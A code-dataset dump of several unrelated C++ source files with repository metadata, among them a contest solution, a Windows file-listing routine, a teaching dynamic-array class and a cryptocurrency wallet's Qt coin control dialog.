~UIModelTransform();
void Update();
void PostRender();
void ChangeTarget(class GameModel* target);
void ChangeContainUIName(string containUIName);
private:
string containUIName;
class GameModel* targetObject;
D3DXVECTOR3 vS, vR, vT;
D3DXQUATERNION qR;
}; | [
"evehour@naver.com"
] | evehour@naver.com |
0ffc5fac1334d275ce75808cb8c850c3a8dfa263 | 12b1c71c682d9a99e95731c5b69fa31a7a69cfce | /practice/2016_Oct_16_Albert Contest/e.cpp | de1889d5e626cb1c85362e707a247aa762cb50bc | [] | no_license | KyleJu/ACM | 39437da640608dd515ab5f9f8ffe871f7a4e812c | e1d91506bd06cced019f7d9b679e86380e648506 | refs/heads/master | 2021-01-19T09:23:42.606577 | 2016-11-30T06:54:54 | 2016-11-30T06:54:54 | 42,553,077 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 401 | cpp | #include<bits/stdtr1c++.h>
using namespace std;
int main() {
int ts; cin >>ts;
for(int i = 1 ; i<= ts; i++) {
int r, c; cin >> r >> c;
vector<string> arr;
string tm;
for(int t = 0 ;t < r; t++) {
cin >> tm;
arr.push_back(tm);
}
cout <<"Test " << i << endl;
for(int x = r-1; x>=0 ;x--) {
for(int y = c-1; y>=0; y--) {
cout << arr[x][y];
}
cout << endl;
}
}
}
| [
"xifengju@kyleju.local"
] | xifengju@kyleju.local |
116595c8b95962d89c286e4a0696550bd6a97218 | d644ba781ec4033f5dd6c9aa64aaf4f4e2b036e8 | /WordFrequency V1/WordFrequencyNew/ListDirectoryFiles.cpp | 963287178a4f8f3875f891d4ccebb6a9f41d94a9 | [] | no_license | somesh-ballia/WordFrequency | 34cd793d09023af458ce37de5241e52aa778daa3 | 0c29f2fd8b684793302759b8388ec7d634cff5d1 | refs/heads/master | 2021-01-19T11:22:00.634265 | 2017-04-11T16:48:30 | 2017-04-11T16:48:30 | 87,957,925 | 0 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 2,416 | cpp | #include "StdAfx.h"
#include <stdio.h>
#include <cstring>
#include <iostream>
#include <conio.h>
#include <direct.h>
#include <windows.h>
#include "ListDirectoryFiles.h"
#include "DirectoryNameList.h"
#include <stdlib.h>
#define SUCCESS 1
#define FAILURE 0
char* ListDirectoryFiles::allocateMemoryForNewWord(int size)
{
char* new_word_memory = new char[size];
if(NULL != new_word_memory)
{
return new_word_memory;
}
else
{
printf("\n Error Allocating memory");
exit(1);
}
}
int ListDirectoryFiles::populateFileNameList(char* directory_name, FileNameList *obj_file_name_list)
{
int error_code;
HANDLE h_find;
WIN32_FIND_DATA find_data;
if(_chdir(directory_name))
{
printf("\nDirectory not found");
return FAILURE;
}
h_find = FindFirstFile("*.txt",&find_data);
if(INVALID_HANDLE_VALUE == h_find)
{
error_code = GetLastError();
if(ERROR_FILE_NOT_FOUND == error_code)
{
printf("\nNo files with extention .txt");
return FAILURE;
}
}
else
{
do
{
char* complete_file_path;
int directory_path_length = strlen(directory_name)+1;
int complete_file_path_length = directory_path_length+strlen(find_data.cFileName)+1;
char* ptr_last_slash_location = strrchr(directory_name,'/');
int last_slash_location = ptr_last_slash_location - directory_name +1;
// generating complete path name of file
if((directory_path_length-1) != last_slash_location)
{
// if the directory path dont have / at the end
complete_file_path_length++;
complete_file_path = allocateMemoryForNewWord(complete_file_path_length);
strcpy(complete_file_path,directory_name);
strncat(complete_file_path,"/",1);
strncat(complete_file_path,find_data.cFileName,strlen(find_data.cFileName));
}
else
{
// if the directory path already has / at the end
complete_file_path = allocateMemoryForNewWord(complete_file_path_length);
strcpy(complete_file_path,directory_name);
strncat(complete_file_path,find_data.cFileName,strlen(find_data.cFileName));
}
//printf("\n%s",complete_file_path);
obj_file_name_list->insert(complete_file_path);
}
while(0 != FindNextFile(h_find,&find_data));
error_code = GetLastError();
if(error_code != ERROR_NO_MORE_FILES)
{
printf("\nTraversal of path %s is complete");
}
}
return 1;
} | [
"somesh.ballia@gmail.com"
] | somesh.ballia@gmail.com |
f78b3e9fba1fa1af3dc843fbc8d7b181d84a3afc | 63da17d9c6876e26c699dc084734d46686a2cb9e | /inf-2-exercise/week8-operators_exceptions_practice/SM/Supermarket/Supermarket.cpp | ae222e1d04a27fe2e470a304c9054d5fcf30476d | [] | no_license | semerdzhiev/oop-2020-21 | 0e069b1c09f61a3d5b240883cfe18f182e79bb04 | b5285b9508285907045b5f3f042fc56c3ef34c26 | refs/heads/main | 2023-06-10T20:49:45.051924 | 2021-06-13T21:07:36 | 2021-06-13T21:07:36 | 338,046,214 | 18 | 17 | null | 2021-07-06T12:26:18 | 2021-02-11T14:06:18 | C++ | UTF-8 | C++ | false | false | 1,035 | cpp | #include "Supermarket.h"
void Supermarket::expand() {
Client* temp = new Client[capacity * 2];
for (int i = 0; i < size; ++i) {
temp[i] = clients[i];
}
delete[] clients;
clients = temp;
capacity *= 2;
}
void Supermarket::copy(const Supermarket& other, bool doClean = true) {
if (doClean) {
clean();
}
capacity = other.capacity;
size = other.size;
clients = new Client[capacity];
for (int i = 0; i < size; ++i) {
clients[i] = other.clients[i];
}
}
void Supermarket::clean() {
delete[] clients;
clients = nullptr;
size = 0;
capacity = 0;
}
Supermarket::Supermarket(): clients(new Client[DEFAULT_CAPACITY]), size(0), capacity(DEFAULT_CAPACITY) {}
Supermarket::Supermarket(const Supermarket& other) {
copy(other, false);
}
Supermarket& Supermarket::operator=(const Supermarket& other) {
if (this != &other) {
copy(other);
}
return *this;
}
Supermarket::~Supermarket() {
clean();
}
void Supermarket::add(const Client& client) {
if (size == capacity) {
expand();
}
clients[size++] = client;
}
| [
"dimitar.trz@gmail.com"
] | dimitar.trz@gmail.com |
9c49048e40e361bb60724e55fa3b090bd177c3ad | 896fb9a573c453be719b3be0c4778507c681612b | /src/qt/coincontroldialog.cpp | 02f6a589b2a430f154bf613e7693b148b94b781b | [
"MIT"
] | permissive | Thanacore/Thana | ca030e19495729224ae4e570e9f109c726d36a15 | fa09a05369089b1e5bb56f506b51550683a4a0ec | refs/heads/master | 2020-04-10T11:41:34.057200 | 2018-12-09T03:28:53 | 2018-12-09T03:28:53 | 161,000,574 | 1 | 0 | null | null | null | null | UTF-8 | C++ | false | false | 37,047 | cpp | // Copyright (c) 2011-2014 The Bitcoin developers
// Copyright (c) 2014-2015 The Dash developers
// Copyright (c) 2015-2017 The PIVX developers
// Copyright (c) 2018 THANA Developers
// Distributed under the MIT/X11 software license, see the accompanying
// file COPYING or http://www.opensource.org/licenses/mit-license.php.
#include "coincontroldialog.h"
#include "ui_coincontroldialog.h"
#include "addresstablemodel.h"
#include "bitcoinunits.h"
#include "guiutil.h"
#include "init.h"
#include "optionsmodel.h"
#include "walletmodel.h"
#include "coincontrol.h"
#include "main.h"
#include "obfuscation.h"
#include "wallet.h"
#include <boost/assign/list_of.hpp> // for 'map_list_of()'
#include <QApplication>
#include <QCheckBox>
#include <QCursor>
#include <QDialogButtonBox>
#include <QFlags>
#include <QIcon>
#include <QSettings>
#include <QString>
#include <QTreeWidget>
#include <QTreeWidgetItem>
using namespace std;
QList<CAmount> CoinControlDialog::payAmounts;
int CoinControlDialog::nSplitBlockDummy;
CCoinControl* CoinControlDialog::coinControl = new CCoinControl();
CoinControlDialog::CoinControlDialog(QWidget* parent) : QDialog(parent),
ui(new Ui::CoinControlDialog),
model(0)
{
ui->setupUi(this);
/* Open CSS when configured */
this->setStyleSheet(GUIUtil::loadStyleSheet());
// context menu actions
QAction* copyAddressAction = new QAction(tr("Copy address"), this);
QAction* copyLabelAction = new QAction(tr("Copy label"), this);
QAction* copyAmountAction = new QAction(tr("Copy amount"), this);
copyTransactionHashAction = new QAction(tr("Copy transaction ID"), this); // we need to enable/disable this
lockAction = new QAction(tr("Lock unspent"), this); // we need to enable/disable this
unlockAction = new QAction(tr("Unlock unspent"), this); // we need to enable/disable this
// context menu
contextMenu = new QMenu();
contextMenu->addAction(copyAddressAction);
contextMenu->addAction(copyLabelAction);
contextMenu->addAction(copyAmountAction);
contextMenu->addAction(copyTransactionHashAction);
contextMenu->addSeparator();
contextMenu->addAction(lockAction);
contextMenu->addAction(unlockAction);
// context menu signals
connect(ui->treeWidget, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(showMenu(QPoint)));
connect(copyAddressAction, SIGNAL(triggered()), this, SLOT(copyAddress()));
connect(copyLabelAction, SIGNAL(triggered()), this, SLOT(copyLabel()));
connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount()));
connect(copyTransactionHashAction, SIGNAL(triggered()), this, SLOT(copyTransactionHash()));
connect(lockAction, SIGNAL(triggered()), this, SLOT(lockCoin()));
connect(unlockAction, SIGNAL(triggered()), this, SLOT(unlockCoin()));
// clipboard actions
QAction* clipboardQuantityAction = new QAction(tr("Copy quantity"), this);
QAction* clipboardAmountAction = new QAction(tr("Copy amount"), this);
QAction* clipboardFeeAction = new QAction(tr("Copy fee"), this);
QAction* clipboardAfterFeeAction = new QAction(tr("Copy after fee"), this);
QAction* clipboardBytesAction = new QAction(tr("Copy bytes"), this);
QAction* clipboardPriorityAction = new QAction(tr("Copy priority"), this);
QAction* clipboardLowOutputAction = new QAction(tr("Copy dust"), this);
QAction* clipboardChangeAction = new QAction(tr("Copy change"), this);
connect(clipboardQuantityAction, SIGNAL(triggered()), this, SLOT(clipboardQuantity()));
connect(clipboardAmountAction, SIGNAL(triggered()), this, SLOT(clipboardAmount()));
connect(clipboardFeeAction, SIGNAL(triggered()), this, SLOT(clipboardFee()));
connect(clipboardAfterFeeAction, SIGNAL(triggered()), this, SLOT(clipboardAfterFee()));
connect(clipboardBytesAction, SIGNAL(triggered()), this, SLOT(clipboardBytes()));
connect(clipboardPriorityAction, SIGNAL(triggered()), this, SLOT(clipboardPriority()));
connect(clipboardLowOutputAction, SIGNAL(triggered()), this, SLOT(clipboardLowOutput()));
connect(clipboardChangeAction, SIGNAL(triggered()), this, SLOT(clipboardChange()));
ui->labelCoinControlQuantity->addAction(clipboardQuantityAction);
ui->labelCoinControlAmount->addAction(clipboardAmountAction);
ui->labelCoinControlFee->addAction(clipboardFeeAction);
ui->labelCoinControlAfterFee->addAction(clipboardAfterFeeAction);
ui->labelCoinControlBytes->addAction(clipboardBytesAction);
ui->labelCoinControlPriority->addAction(clipboardPriorityAction);
ui->labelCoinControlLowOutput->addAction(clipboardLowOutputAction);
ui->labelCoinControlChange->addAction(clipboardChangeAction);
// toggle tree/list mode
connect(ui->radioTreeMode, SIGNAL(toggled(bool)), this, SLOT(radioTreeMode(bool)));
connect(ui->radioListMode, SIGNAL(toggled(bool)), this, SLOT(radioListMode(bool)));
// click on checkbox
connect(ui->treeWidget, SIGNAL(itemChanged(QTreeWidgetItem*, int)), this, SLOT(viewItemChanged(QTreeWidgetItem*, int)));
// click on header
#if QT_VERSION < 0x050000
ui->treeWidget->header()->setClickable(true);
#else
ui->treeWidget->header()->setSectionsClickable(true);
#endif
connect(ui->treeWidget->header(), SIGNAL(sectionClicked(int)), this, SLOT(headerSectionClicked(int)));
// ok button
connect(ui->buttonBox, SIGNAL(clicked(QAbstractButton*)), this, SLOT(buttonBoxClicked(QAbstractButton*)));
// (un)select all
connect(ui->pushButtonSelectAll, SIGNAL(clicked()), this, SLOT(buttonSelectAllClicked()));
// Toggle lock state
connect(ui->pushButtonToggleLock, SIGNAL(clicked()), this, SLOT(buttonToggleLockClicked()));
// change coin control first column label due Qt4 bug.
// see https://github.com/bitcoin/bitcoin/issues/5716
ui->treeWidget->headerItem()->setText(COLUMN_CHECKBOX, QString());
ui->treeWidget->setColumnWidth(COLUMN_CHECKBOX, 84);
ui->treeWidget->setColumnWidth(COLUMN_AMOUNT, 100);
ui->treeWidget->setColumnWidth(COLUMN_LABEL, 170);
ui->treeWidget->setColumnWidth(COLUMN_ADDRESS, 190);
ui->treeWidget->setColumnWidth(COLUMN_OBFUSCATION_ROUNDS, 88);
ui->treeWidget->setColumnWidth(COLUMN_DATE, 80);
ui->treeWidget->setColumnWidth(COLUMN_CONFIRMATIONS, 100);
ui->treeWidget->setColumnWidth(COLUMN_PRIORITY, 100);
ui->treeWidget->setColumnHidden(COLUMN_TXHASH, true); // store transacton hash in this column, but dont show it
ui->treeWidget->setColumnHidden(COLUMN_VOUT_INDEX, true); // store vout index in this column, but dont show it
ui->treeWidget->setColumnHidden(COLUMN_AMOUNT_INT64, true); // store amount int64 in this column, but dont show it
ui->treeWidget->setColumnHidden(COLUMN_PRIORITY_INT64, true); // store priority int64 in this column, but dont show it
ui->treeWidget->setColumnHidden(COLUMN_DATE_INT64, true); // store date int64 in this column, but dont show it
// default view is sorted by amount desc
sortView(COLUMN_AMOUNT_INT64, Qt::DescendingOrder);
// restore list mode and sortorder as a convenience feature
QSettings settings;
if (settings.contains("nCoinControlMode") && !settings.value("nCoinControlMode").toBool())
ui->radioTreeMode->click();
if (settings.contains("nCoinControlSortColumn") && settings.contains("nCoinControlSortOrder"))
sortView(settings.value("nCoinControlSortColumn").toInt(), ((Qt::SortOrder)settings.value("nCoinControlSortOrder").toInt()));
}
CoinControlDialog::~CoinControlDialog()
{
QSettings settings;
settings.setValue("nCoinControlMode", ui->radioListMode->isChecked());
settings.setValue("nCoinControlSortColumn", sortColumn);
settings.setValue("nCoinControlSortOrder", (int)sortOrder);
delete ui;
}
void CoinControlDialog::setModel(WalletModel* model)
{
this->model = model;
if (model && model->getOptionsModel() && model->getAddressTableModel()) {
updateView();
updateLabelLocked();
CoinControlDialog::updateLabels(model, this);
}
}
// helper function str_pad
QString CoinControlDialog::strPad(QString s, int nPadLength, QString sPadding)
{
while (s.length() < nPadLength)
s = sPadding + s;
return s;
}
// ok button
void CoinControlDialog::buttonBoxClicked(QAbstractButton* button)
{
if (ui->buttonBox->buttonRole(button) == QDialogButtonBox::AcceptRole)
done(QDialog::Accepted); // closes the dialog
}
// (un)select all
void CoinControlDialog::buttonSelectAllClicked()
{
Qt::CheckState state = Qt::Checked;
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++) {
if (ui->treeWidget->topLevelItem(i)->checkState(COLUMN_CHECKBOX) != Qt::Unchecked) {
state = Qt::Unchecked;
break;
}
}
ui->treeWidget->setEnabled(false);
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++)
if (ui->treeWidget->topLevelItem(i)->checkState(COLUMN_CHECKBOX) != state)
ui->treeWidget->topLevelItem(i)->setCheckState(COLUMN_CHECKBOX, state);
ui->treeWidget->setEnabled(true);
if (state == Qt::Unchecked)
coinControl->UnSelectAll(); // just to be sure
CoinControlDialog::updateLabels(model, this);
}
// Toggle lock state
void CoinControlDialog::buttonToggleLockClicked()
{
QTreeWidgetItem* item;
// Works in list-mode only
if (ui->radioListMode->isChecked()) {
ui->treeWidget->setEnabled(false);
for (int i = 0; i < ui->treeWidget->topLevelItemCount(); i++) {
item = ui->treeWidget->topLevelItem(i);
COutPoint outpt(uint256(item->text(COLUMN_TXHASH).toStdString()), item->text(COLUMN_VOUT_INDEX).toUInt());
if (model->isLockedCoin(uint256(item->text(COLUMN_TXHASH).toStdString()), item->text(COLUMN_VOUT_INDEX).toUInt())) {
model->unlockCoin(outpt);
item->setDisabled(false);
item->setIcon(COLUMN_CHECKBOX, QIcon());
} else {
model->lockCoin(outpt);
item->setDisabled(true);
item->setIcon(COLUMN_CHECKBOX, QIcon(":/icons/lock_closed"));
}
updateLabelLocked();
}
ui->treeWidget->setEnabled(true);
CoinControlDialog::updateLabels(model, this);
} else {
QMessageBox msgBox;
msgBox.setObjectName("lockMessageBox");
msgBox.setStyleSheet(GUIUtil::loadStyleSheet());
msgBox.setText(tr("Please switch to \"List mode\" to use this function."));
msgBox.exec();
}
}
// context menu
void CoinControlDialog::showMenu(const QPoint& point)
{
QTreeWidgetItem* item = ui->treeWidget->itemAt(point);
if (item) {
contextMenuItem = item;
// disable some items (like Copy Transaction ID, lock, unlock) for tree roots in context menu
if (item->text(COLUMN_TXHASH).length() == 64) // transaction hash is 64 characters (this means its a child node, so its not a parent node in tree mode)
{
copyTransactionHashAction->setEnabled(true);
if (model->isLockedCoin(uint256(item->text(COLUMN_TXHASH).toStdString()), item->text(COLUMN_VOUT_INDEX).toUInt())) {
lockAction->setEnabled(false);
unlockAction->setEnabled(true);
} else {
lockAction->setEnabled(true);
unlockAction->setEnabled(false);
}
} else // this means click on parent node in tree mode -> disable all
{
copyTransactionHashAction->setEnabled(false);
lockAction->setEnabled(false);
unlockAction->setEnabled(false);
}
// show context menu
contextMenu->exec(QCursor::pos());
}
}
// context menu action: copy amount
void CoinControlDialog::copyAmount()
{
GUIUtil::setClipboard(BitcoinUnits::removeSpaces(contextMenuItem->text(COLUMN_AMOUNT)));
}
// context menu action: copy label
void CoinControlDialog::copyLabel()
{
if (ui->radioTreeMode->isChecked() && contextMenuItem->text(COLUMN_LABEL).length() == 0 && contextMenuItem->parent())
GUIUtil::setClipboard(contextMenuItem->parent()->text(COLUMN_LABEL));
else
GUIUtil::setClipboard(contextMenuItem->text(COLUMN_LABEL));
}
// context menu action: copy address
void CoinControlDialog::copyAddress()
{
if (ui->radioTreeMode->isChecked() && contextMenuItem->text(COLUMN_ADDRESS).length() == 0 && contextMenuItem->parent())
GUIUtil::setClipboard(contextMenuItem->parent()->text(COLUMN_ADDRESS));
else
GUIUtil::setClipboard(contextMenuItem->text(COLUMN_ADDRESS));
}
// context menu action: copy transaction id
void CoinControlDialog::copyTransactionHash()
{
GUIUtil::setClipboard(contextMenuItem->text(COLUMN_TXHASH));
}
// context menu action: lock coin
void CoinControlDialog::lockCoin()
{
if (contextMenuItem->checkState(COLUMN_CHECKBOX) == Qt::Checked)
contextMenuItem->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
COutPoint outpt(uint256(contextMenuItem->text(COLUMN_TXHASH).toStdString()), contextMenuItem->text(COLUMN_VOUT_INDEX).toUInt());
model->lockCoin(outpt);
contextMenuItem->setDisabled(true);
contextMenuItem->setIcon(COLUMN_CHECKBOX, QIcon(":/icons/lock_closed"));
updateLabelLocked();
}
// context menu action: unlock coin
void CoinControlDialog::unlockCoin()
{
COutPoint outpt(uint256(contextMenuItem->text(COLUMN_TXHASH).toStdString()), contextMenuItem->text(COLUMN_VOUT_INDEX).toUInt());
model->unlockCoin(outpt);
contextMenuItem->setDisabled(false);
contextMenuItem->setIcon(COLUMN_CHECKBOX, QIcon());
updateLabelLocked();
}
// copy label "Quantity" to clipboard
void CoinControlDialog::clipboardQuantity()
{
GUIUtil::setClipboard(ui->labelCoinControlQuantity->text());
}
// copy label "Amount" to clipboard
void CoinControlDialog::clipboardAmount()
{
GUIUtil::setClipboard(ui->labelCoinControlAmount->text().left(ui->labelCoinControlAmount->text().indexOf(" ")));
}
// copy label "Fee" to clipboard
void CoinControlDialog::clipboardFee()
{
GUIUtil::setClipboard(ui->labelCoinControlFee->text().left(ui->labelCoinControlFee->text().indexOf(" ")).replace("~", ""));
}
// copy label "After fee" to clipboard
void CoinControlDialog::clipboardAfterFee()
{
GUIUtil::setClipboard(ui->labelCoinControlAfterFee->text().left(ui->labelCoinControlAfterFee->text().indexOf(" ")).replace("~", ""));
}
// copy label "Bytes" to clipboard
void CoinControlDialog::clipboardBytes()
{
GUIUtil::setClipboard(ui->labelCoinControlBytes->text().replace("~", ""));
}
// copy label "Priority" to clipboard
void CoinControlDialog::clipboardPriority()
{
GUIUtil::setClipboard(ui->labelCoinControlPriority->text());
}
// copy label "Dust" to clipboard
void CoinControlDialog::clipboardLowOutput()
{
GUIUtil::setClipboard(ui->labelCoinControlLowOutput->text());
}
// copy label "Change" to clipboard
void CoinControlDialog::clipboardChange()
{
GUIUtil::setClipboard(ui->labelCoinControlChange->text().left(ui->labelCoinControlChange->text().indexOf(" ")).replace("~", ""));
}
// treeview: sort
void CoinControlDialog::sortView(int column, Qt::SortOrder order)
{
sortColumn = column;
sortOrder = order;
ui->treeWidget->sortItems(column, order);
ui->treeWidget->header()->setSortIndicator(getMappedColumn(sortColumn), sortOrder);
}
// treeview: clicked on header
void CoinControlDialog::headerSectionClicked(int logicalIndex)
{
if (logicalIndex == COLUMN_CHECKBOX) // click on most left column -> do nothing
{
ui->treeWidget->header()->setSortIndicator(getMappedColumn(sortColumn), sortOrder);
} else {
logicalIndex = getMappedColumn(logicalIndex, false);
if (sortColumn == logicalIndex)
sortOrder = ((sortOrder == Qt::AscendingOrder) ? Qt::DescendingOrder : Qt::AscendingOrder);
else {
sortColumn = logicalIndex;
sortOrder = ((sortColumn == COLUMN_LABEL || sortColumn == COLUMN_ADDRESS) ? Qt::AscendingOrder : Qt::DescendingOrder); // if label or address then default => asc, else default => desc
}
sortView(sortColumn, sortOrder);
}
}
// toggle tree mode
void CoinControlDialog::radioTreeMode(bool checked)
{
if (checked && model)
updateView();
}
// toggle list mode
void CoinControlDialog::radioListMode(bool checked)
{
if (checked && model)
updateView();
}
// checkbox clicked by user
void CoinControlDialog::viewItemChanged(QTreeWidgetItem* item, int column)
{
if (column == COLUMN_CHECKBOX && item->text(COLUMN_TXHASH).length() == 64) // transaction hash is 64 characters (this means its a child node, so its not a parent node in tree mode)
{
COutPoint outpt(uint256(item->text(COLUMN_TXHASH).toStdString()), item->text(COLUMN_VOUT_INDEX).toUInt());
if (item->checkState(COLUMN_CHECKBOX) == Qt::Unchecked)
coinControl->UnSelect(outpt);
else if (item->isDisabled()) // locked (this happens if "check all" through parent node)
item->setCheckState(COLUMN_CHECKBOX, Qt::Unchecked);
else {
coinControl->Select(outpt);
CTxIn vin(outpt);
int rounds = pwalletMain->GetInputObfuscationRounds(vin);
if (coinControl->useObfuScation && rounds < nObfuscationRounds) {
QMessageBox::warning(this, windowTitle(),
tr("Non-anonymized input selected. <b>Obfuscation will be disabled.</b><br><br>If you still want to use Obfuscation, please deselect all non-nonymized inputs first and then check Obfuscation checkbox again."),
QMessageBox::Ok, QMessageBox::Ok);
coinControl->useObfuScation = false;
}
}
// selection changed -> update labels
if (ui->treeWidget->isEnabled()) // do not update on every click for (un)select all
CoinControlDialog::updateLabels(model, this);
}
// todo: this is a temporary qt5 fix: when clicking a parent node in tree mode, the parent node
// including all childs are partially selected. But the parent node should be fully selected
// as well as the childs. Childs should never be partially selected in the first place.
// Please remove this ugly fix, once the bug is solved upstream.
#if QT_VERSION >= 0x050000
else if (column == COLUMN_CHECKBOX && item->childCount() > 0) {
if (item->checkState(COLUMN_CHECKBOX) == Qt::PartiallyChecked && item->child(0)->checkState(COLUMN_CHECKBOX) == Qt::PartiallyChecked)
item->setCheckState(COLUMN_CHECKBOX, Qt::Checked);
}
#endif
}
// return human readable label for priority number
QString CoinControlDialog::getPriorityLabel(double dPriority, double mempoolEstimatePriority)
{
double dPriorityMedium = mempoolEstimatePriority;
if (dPriorityMedium <= 0)
dPriorityMedium = AllowFreeThreshold(); // not enough data, back to hard-coded
if (dPriority / 1000000 > dPriorityMedium)
return tr("highest");
else if (dPriority / 100000 > dPriorityMedium)
return tr("higher");
else if (dPriority / 10000 > dPriorityMedium)
return tr("high");
else if (dPriority / 1000 > dPriorityMedium)
return tr("medium-high");
else if (dPriority > dPriorityMedium)
return tr("medium");
else if (dPriority * 10 > dPriorityMedium)
return tr("low-medium");
else if (dPriority * 100 > dPriorityMedium)
return tr("low");
else if (dPriority * 1000 > dPriorityMedium)
return tr("lower");
else
return tr("lowest");
}
// shows count of locked unspent outputs
void CoinControlDialog::updateLabelLocked()
{
vector<COutPoint> vOutpts;
model->listLockedCoins(vOutpts);
if (vOutpts.size() > 0) {
ui->labelLocked->setText(tr("(%1 locked)").arg(vOutpts.size()));
ui->labelLocked->setVisible(true);
} else
ui->labelLocked->setVisible(false);
}
void CoinControlDialog::updateLabels(WalletModel* model, QDialog* dialog)
{
if (!model)
return;
// nPayAmount
CAmount nPayAmount = 0;
bool fDust = false;
CMutableTransaction txDummy;
foreach (const CAmount& amount, CoinControlDialog::payAmounts) {
nPayAmount += amount;
if (amount > 0) {
CTxOut txout(amount, (CScript)vector<unsigned char>(24, 0));
txDummy.vout.push_back(txout);
if (txout.IsDust(::minRelayTxFee))
fDust = true;
}
}
QString sPriorityLabel = tr("none");
CAmount nAmount = 0;
CAmount nPayFee = 0;
CAmount nAfterFee = 0;
CAmount nChange = 0;
unsigned int nBytes = 0;
unsigned int nBytesInputs = 0;
double dPriority = 0;
double dPriorityInputs = 0;
unsigned int nQuantity = 0;
int nQuantityUncompressed = 0;
bool fAllowFree = false;
vector<COutPoint> vCoinControl;
vector<COutput> vOutputs;
coinControl->ListSelected(vCoinControl);
model->getOutputs(vCoinControl, vOutputs);
BOOST_FOREACH (const COutput& out, vOutputs) {
// unselect already spent, very unlikely scenario, this could happen
// when selected are spent elsewhere, like rpc or another computer
uint256 txhash = out.tx->GetHash();
COutPoint outpt(txhash, out.i);
if (model->isSpent(outpt)) {
coinControl->UnSelect(outpt);
continue;
}
// Quantity
nQuantity++;
// Amount
nAmount += out.tx->vout[out.i].nValue;
// Priority
dPriorityInputs += (double)out.tx->vout[out.i].nValue * (out.nDepth + 1);
// Bytes
CTxDestination address;
if (ExtractDestination(out.tx->vout[out.i].scriptPubKey, address)) {
CPubKey pubkey;
CKeyID* keyid = boost::get<CKeyID>(&address);
if (keyid && model->getPubKey(*keyid, pubkey)) {
nBytesInputs += (pubkey.IsCompressed() ? 148 : 180);
if (!pubkey.IsCompressed())
nQuantityUncompressed++;
} else
nBytesInputs += 148; // in all error cases, simply assume 148 here
} else
nBytesInputs += 148;
}
// calculation
if (nQuantity > 0) {
// Bytes
nBytes = nBytesInputs + ((CoinControlDialog::payAmounts.size() > 0 ? CoinControlDialog::payAmounts.size() + max(1, CoinControlDialog::nSplitBlockDummy) : 2) * 34) + 10; // always assume +1 output for change here
// Priority
double mempoolEstimatePriority = mempool.estimatePriority(nTxConfirmTarget);
dPriority = dPriorityInputs / (nBytes - nBytesInputs + (nQuantityUncompressed * 29)); // 29 = 180 - 151 (uncompressed public keys are over the limit. max 151 bytes of the input are ignored for priority)
sPriorityLabel = CoinControlDialog::getPriorityLabel(dPriority, mempoolEstimatePriority);
// Fee
nPayFee = CWallet::GetMinimumFee(nBytes, nTxConfirmTarget, mempool);
// IX Fee
if (coinControl->useSwiftTX) nPayFee = max(nPayFee, CENT);
// Allow free?
double dPriorityNeeded = mempoolEstimatePriority;
if (dPriorityNeeded <= 0)
dPriorityNeeded = AllowFreeThreshold(); // not enough data, back to hard-coded
fAllowFree = (dPriority >= dPriorityNeeded);
if (fSendFreeTransactions)
if (fAllowFree && nBytes <= MAX_FREE_TRANSACTION_CREATE_SIZE)
nPayFee = 0;
if (nPayAmount > 0) {
nChange = nAmount - nPayFee - nPayAmount;
// DS Fee = overpay
if (coinControl->useObfuScation && nChange > 0) {
nPayFee += nChange;
nChange = 0;
}
// Never create dust outputs; if we would, just add the dust to the fee.
if (nChange > 0 && nChange < CENT) {
CTxOut txout(nChange, (CScript)vector<unsigned char>(24, 0));
if (txout.IsDust(::minRelayTxFee)) {
nPayFee += nChange;
nChange = 0;
}
}
if (nChange == 0)
nBytes -= 34;
}
// after fee
nAfterFee = nAmount - nPayFee;
if (nAfterFee < 0)
nAfterFee = 0;
}
// actually update labels
int nDisplayUnit = BitcoinUnits::Thana;
if (model && model->getOptionsModel())
nDisplayUnit = model->getOptionsModel()->getDisplayUnit();
QLabel* l1 = dialog->findChild<QLabel*>("labelCoinControlQuantity");
QLabel* l2 = dialog->findChild<QLabel*>("labelCoinControlAmount");
QLabel* l3 = dialog->findChild<QLabel*>("labelCoinControlFee");
QLabel* l4 = dialog->findChild<QLabel*>("labelCoinControlAfterFee");
QLabel* l5 = dialog->findChild<QLabel*>("labelCoinControlBytes");
QLabel* l6 = dialog->findChild<QLabel*>("labelCoinControlPriority");
QLabel* l7 = dialog->findChild<QLabel*>("labelCoinControlLowOutput");
QLabel* l8 = dialog->findChild<QLabel*>("labelCoinControlChange");
// enable/disable "dust" and "change"
dialog->findChild<QLabel*>("labelCoinControlLowOutputText")->setEnabled(nPayAmount > 0);
dialog->findChild<QLabel*>("labelCoinControlLowOutput")->setEnabled(nPayAmount > 0);
dialog->findChild<QLabel*>("labelCoinControlChangeText")->setEnabled(nPayAmount > 0);
dialog->findChild<QLabel*>("labelCoinControlChange")->setEnabled(nPayAmount > 0);
// stats
l1->setText(QString::number(nQuantity)); // Quantity
l2->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nAmount)); // Amount
l3->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nPayFee)); // Fee
l4->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nAfterFee)); // After Fee
l5->setText(((nBytes > 0) ? "~" : "") + QString::number(nBytes)); // Bytes
l6->setText(sPriorityLabel); // Priority
l7->setText(fDust ? tr("yes") : tr("no")); // Dust
l8->setText(BitcoinUnits::formatWithUnit(nDisplayUnit, nChange)); // Change
if (nPayFee > 0 && !(payTxFee.GetFeePerK() > 0 && fPayAtLeastCustomFee && nBytes < 1000)) {
l3->setText("~" + l3->text());
l4->setText("~" + l4->text());
if (nChange > 0)
l8->setText("~" + l8->text());
}
// turn labels "red"
l5->setStyleSheet((nBytes >= MAX_FREE_TRANSACTION_CREATE_SIZE) ? "color:red;" : ""); // Bytes >= 1000
l6->setStyleSheet((dPriority > 0 && !fAllowFree) ? "color:red;" : ""); // Priority < "medium"
l7->setStyleSheet((fDust) ? "color:red;" : ""); // Dust = "yes"
// tool tips
QString toolTip1 = tr("This label turns red, if the transaction size is greater than 1000 bytes.") + "<br /><br />";
toolTip1 += tr("This means a fee of at least %1 per kB is required.").arg(BitcoinUnits::formatWithUnit(nDisplayUnit, CWallet::minTxFee.GetFeePerK())) + "<br /><br />";
toolTip1 += tr("Can vary +/- 1 byte per input.");
